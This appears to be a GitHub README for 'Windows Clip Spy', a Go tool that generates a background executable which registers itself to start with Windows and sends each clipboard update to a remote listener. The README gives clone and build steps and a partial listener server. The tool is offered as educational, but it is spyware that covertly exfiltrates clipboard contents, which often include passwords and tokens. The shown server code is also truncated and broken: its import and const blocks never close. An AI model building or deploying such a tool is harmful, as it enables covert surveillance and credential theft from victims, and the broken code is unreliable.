👓 Windows Clip Spy


💻 This is a terminal tool 🔧 which generates an executable to send your clipboard 📋 on each update to another machine ⚙. Made with educational porpuses


📖 Learn

  • how to interact with Windows to start a programm on the OS init
  • get the clipboard on updates
  • create a simple terminal tool from scratch to generate executables
  • make golang background programs

Technologies used 📘

Golang (Go)

Pakages 📦:

  1. clipboard (Get the clipboard)
  2. go-autostart (Start on the Windows init)
  3. go-toml (Set and get config vars between the terminal tool and the final executable)

How to use it

Prerequisites :

  • go 1.18

Clone the repository 📎

git clone https://github.com/PiterWeb/WindowsClipSpy
cd WindowsClipSpy

Install all the packages 📉

go mod install
go mod verify

Build the terminal tool 👷‍♂️

go build .
# This will generate the tool on an executable at the root folder of the project

Use the tool 🔨

Open the executable and introduce the config in the terminal that will appear

Listen for the clipboard on the url you specified 🔊

I had prepare the code for the server with the go http package. This code should be runned on a different folder to work well.

// <otherfolder>/server.go

package  main

import (

const (
    Port = "8080"
    Host = "localhost"

func main() {
	fmt.Println("Server is running on port: ", Port)
	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		body, err  := ioutil.ReadAll(r.Body)
		if err !=  nil {
	http.ListenAndServe(Host+":"+Port, nil)

cd <otherfolder>
go mod init github.com/PiterWeb/WindowsClipSpy/server
go run server.go


View Github